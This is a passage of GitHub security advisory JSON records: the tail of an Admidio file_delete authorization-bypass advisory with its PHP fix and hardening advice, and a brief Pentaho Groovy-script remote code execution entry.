own folder, view-only everywhere else), this enables cross-folder sabotage and permanent destruction of shared documents.\n\n**Business Impact:** Data loss, destruction of shared organizational documents, and compliance violations in organizations relying on Admidio for document management.\n\n---\n\n### Remediation\n\nIn the `file_delete` handler, after loading the file via `getFileForDownload()`, verify upload rights against the file\u0027s **actual parent folder** \u2014 not the URL-supplied `folder_uuid`:\n\n```php\ncase \u0027file_delete\u0027:\n    SecurityUtils::validateCsrfToken($_POST[\u0027adm_csrf_token\u0027]);\n    $file = new File($gDb);\n    $file-\u003egetFileForDownload($getFileUUID);\n    // Verify upload rights on the file\u0027s actual parent folder\n    $parentFolder = new Folder($gDb);\n    $parentFolder-\u003ereadDataById((int)$file-\u003egetValue(\u0027fil_fol_id\u0027));\n    if (!$parentFolder-\u003ehasUploadRight()) {\n        $gMessage-\u003eshow($gL10n-\u003eget(\u0027SYS_NO_RIGHTS\u0027));\n    }\n    $file-\u003edelete();\n    echo json_encode(array(\u0027status\u0027 =\u003e \u0027success\u0027));\n    break;\n```\n\n**Alternative fix:** Remove the top-level `folder_uuid` check for `file_delete` entirely and move a proper upload-rights verification into the `file_delete` case as the sole authority for authorization.\n\n**Defense-in-depth recommendations:**\n\n- Audit all other modes in `documents-files.php` (e.g., `folder_delete`, `file_rename`) for the same pattern of trusting `folder_uuid` from the URL instead of the resource\u0027s actual parent.\n- Add an integration test asserting a user with upload rights on Folder A cannot perform destructive operations on files in Folder B.\n- Consider centralizing authorization in a single helper (e.g., `assertUploadRightOnFile($fileUuid)`) to eliminate the URL-parameter trust-boundary issue across the codebase.\n\n---\n\n### Credits\n\n- Researcher: Vishal Kumar B - https://github.com/VishaaLlKumaaRr - Security Researcher \u0026 Penetration Tester\n- Disclosure: Responsible disclosure to Admidio maintainers\n\n---\n\n### References\n\n- [GHSA-rmpj-3x5m-9m5f](https://github.com/Admidio/admidio/security/advisories/GHSA-rmpj-3x5m-9m5f) \u2014 Prior incomplete fix, patched in v5.0.7\n- [CWE-862: Missing Authorization](https://cwe.mitre.org/data/definitions/862.html)\n- [CWE-639: Authorization Bypass Through User-Controlled Key](https://cwe.mitre.org/data/definitions/639.html)",
  "id": "GHSA-qc4c-hrmc-4f78",
  "modified": "2026-06-09T10:35:01Z",
  "published": "2026-05-29T21:54:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-qc4c-hrmc-4f78"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-rmpj-3x5m-9m5f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Admidio/admidio"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Admidio: Authorization bypass in file_delete enables cross-folder file removal by authenticated users without delete privileges"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-11158"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-10T16:23:22Z",
    "severity": "CRITICAL"
  },
  "details": "Hitachi Vantara Pentaho Data Integration \u0026 Analytics versions before 10.2.0.6, including 9.3.x and\u00a08.3.x, do not restrict Groovy scripts in new PRPT reports published by users, allowing insertion of\u00a0arbitrary scripts and leading to a RCE.",
  "id": "GHSA-qc5v-wjx7-7367",
  "modified": "2026-03-10T21:32:14Z",
  "published": "2026-03-10T18:31:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11158"
    },
    {
      "type": "WEB",
      "url": "https://support.pentaho.com/hc/en-us/articles/39975058295821--Resolved-Hitachi-Vantara-Pentaho-Data-Integration-Analytics-Missing-Authorization-Versions-before-10-2-0-6-impacted-CVE-2025-11158"
    },
    {
      "type": "WEB",
      "url": "https://www.ox.security/blog/cve-2025-11158"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}